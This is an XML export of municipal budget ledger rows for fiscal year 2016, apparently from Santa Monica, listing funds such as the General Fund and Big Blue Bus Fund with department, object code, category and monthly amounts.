<row _id="19136"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19137"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1569064</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1569064</total></row>
<row _id="19138"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>402750.0</object><object_description>TDA SALES TAX-OPERATIONS</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2016</fiscal_year><july>-19261530</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-19261530</total></row>
<row _id="19139"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404210.0</object><object_description>OTHER OPER REV-ADVERTISING</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-2000000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2000000</total></row>
<row _id="19140"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>407340.0</object><object_description>US TREASURY REIMBURSEMENTS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-41120</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-41120</total></row>
<row _id="19141"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>522318.0</object><object_description>SAFETY &amp; SERVICE AWARDS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>25000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25000</total></row>
<row _id="19142"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400400.0</object><object_description>FIELD CONCESSION &amp; STORAGE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-19800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-19800</total></row>
<row _id="19143"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522840.0</object><object_description>FUEL AND OIL TAXES-SVC EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15682</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15682</total></row>
<row _id="19144"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511970.0</object><object_description>OTHER FRINGE BENEFITS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19145"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1175</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1175</total></row>
<row _id="19146"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>26908</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26908</total></row>
<row _id="19147"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>327420</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>327420</total></row>
<row _id="19148"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544171.0</object><object_description>PARTICIPANT UNIFORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>21460</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21460</total></row>
<row _id="19149"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2051</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2051</total></row>
<row _id="19150"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511745.0</object><object_description>MED TRUST - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10850</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10850</total></row>
<row _id="19151"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511742.0</object><object_description>MEDICAL - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2584727</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2584727</total></row>
<row _id="19152"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511742.0</object><object_description>MEDICAL - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>45165</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>45165</total></row>
<row _id="19153"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19154"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>42234</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>42234</total></row>
<row _id="19155"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>221410</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>221410</total></row>
<row _id="19156"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12320</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12320</total></row>
<row _id="19157"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>38660</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38660</total></row>
<row _id="19158"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>407170.0</object><object_description>LA COUNTY PROP A O&amp;M REIMB</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-30000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-30000</total></row>
<row _id="19159"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>555090.0</object><object_description>SPECIAL INSPECTOR PROGRAM</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19160"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>407560.0</object><object_description>SPECIAL INSPECTION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-20000</total></row>
<row _id="19161"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19162"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544171.0</object><object_description>PARTICIPANT UNIFORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3788</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3788</total></row>
<row _id="19163"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>109</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>109</total></row>
<row _id="19164"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1538</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1538</total></row>
<row _id="19165"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1627</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1627</total></row>
<row _id="19166"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555950.0</object><object_description>COMM SERV FACIL / MGMT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4512</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4512</total></row>
<row _id="19167"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522151.0</object><object_description>STORMWATER MANAGEMENT-GF</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7053</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7053</total></row>
<row _id="19168"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404080.0</object><object_description>INTEREST - CAPITAL</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-145412</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-145412</total></row>
<row _id="19169"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404280.0</object><object_description>PROP A LOCAL RETURN</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2016</fiscal_year><july>-426888</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-426888</total></row>
<row _id="19170"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11252</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11252</total></row>
<row _id="19171"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>400570.0</object><object_description>ADMIN FINES/PENALTIES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2016</fiscal_year><july>-5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5000</total></row>
<row _id="19172"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522974.0</object><object_description>LNG FUEL-REVENUE VEHICLES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5978251</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5978251</total></row>
<row _id="19173"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>566130.0</object><object_description>POLICE ADMIN-DONATION</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19174"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1076910</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1076910</total></row>
<row _id="19175"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>168226</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>168226</total></row>
<row _id="19176"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>15860</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15860</total></row>
<row _id="19177"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>148445</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>148445</total></row>
<row _id="19178"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10620</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10620</total></row>
<row _id="19179"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>177816</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>177816</total></row>
<row _id="19180"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>204188</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>204188</total></row>
<row _id="19181"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>505165</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>505165</total></row>
<row _id="19182"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12390</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12390</total></row>
<row _id="19183"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>33774</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>33774</total></row>
<row _id="19184"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
